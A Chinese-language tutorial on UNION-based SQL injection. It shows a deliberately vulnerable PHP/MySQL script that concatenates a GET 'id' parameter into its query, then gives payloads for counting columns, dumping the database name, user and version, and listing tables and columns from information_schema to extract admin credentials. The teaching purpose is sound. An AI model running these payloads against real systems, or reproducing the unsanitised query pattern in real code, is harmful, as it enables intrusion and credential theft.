SQL 注入:联合注入
SQL注入一直都是web安全的主要漏洞之一,数年来仍旧是最常见的漏洞,其主要是因为前后端进行数据交互时注入恶意的SQL语句,导致最终执行的语句拼接。往往是因为开发人员防护不严,导致未过滤敏感字符。
联合注入
联合注入是比较常见的一种,可以说是开发人员没有进行任何过滤。
这里用PHP来进行简单的数据交互
源代码:
<?php
$id=$_GET['id'];
$conn=mysqli_connect("localhost","root","root");
mysqli_select_db($conn,"myselect");
$query="select user_id,user_pwd from web_user where id =$id";
echo $query;
echo "</br>";
$result=mysqli_query($conn,$query);
for($i=0;$i<mysqli_num_rows($result);$i++){
$data=mysqli_fetch_assoc($result);
echo $data['user_id'];
echo "</br>";
echo $data['user_pwd'];
echo "</br>";
}
?>
## 这里我直接将前端GET请求传递进行的参数带进我的查询语句中,可见
这里通过id去数据库查询相应的数据
那么已知我现在的数据库分为两个表,一个是web_user(存储用户数据),hhh_admin_user(存储管理员信息)
那么用联合注入可以直接查询相应的东西
PayLoad:
payoad: union select hhhh_id,hhhh_pwd from hhh_admin_user
这里的SQL语句是直接将我们的payload带入了后台查询语句中,使用union 联合查询两条SQL语句这里的SQL语句是直接将我们的payload带入了后台查询语句中,使用union 联合查询两条SQL语句
那么,假设我们在不知道数据库表名的情况下,该如何查询。
1.order by (为数字可枚举) 先判断长度 因为union必须要前后的SQL语句的字段长度相同
当我输入order by 2时查询成功
当我输入order by 3时查询失败
可见该SQL语句返回的字段为2,那么后面的SQL语句也只能查相应长度的字段
2.union
知道了字段长度,如何查询想要的数据???
这里分两种方法
- 爆破枚举法
顾名思义就是靠猜
payload:union select 1,2 from 表名
去枚举表的名字
存在会返回1,2失败则无任何返回
猜解字段名也是如此,替换其中的1 or 2 进行查询,得到数据则存在
- 利用函数
先获取显示位,因为大多数程序都是键对值的概念
key:value
假设前端只给了两个key渲染位,多出来的就不进行渲染。导致想要的数据无法显示
那么这时候要将前面的语句报错或成空值,让后面的语句替补前来。
这里因为是根据id来查询相应的内容,那么要使前面数据为空可以改变条件为999999
因为数据库里没有id为99999的内容
获取数据库名
使用concat_ws 将查询的语句拼接为一个字符串
这里使用到了函数version(),user(),databaser()
payload:id=99999999 union select 1,concat_ws("~",database(),"~",user(),"~",version())
先使前面的结果为空,后面查询两个字符,为1,2为拼接database,user,version的数据为一个字符串
这里已经获取到了数据库名,以及账户名为root
获取表名
payload:UNION SELECT 1,GROUP_CONCAT(TABLE_name) FROM information_schema.tables WHERE table_schema=0x6D7973656C656374
0x6D7973656C656374 是hex编码 注意前面SQL要为空值
获取字段名:
payload:union SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x6868685F61646D696E5F75736572 and table_schema=0x6D7973656C656374
出现了字段以及表名就可以直接获取数据了
本作品采用《CC 协议》,转载必须注明作者和本文链接
information_schema 系统表,是重点。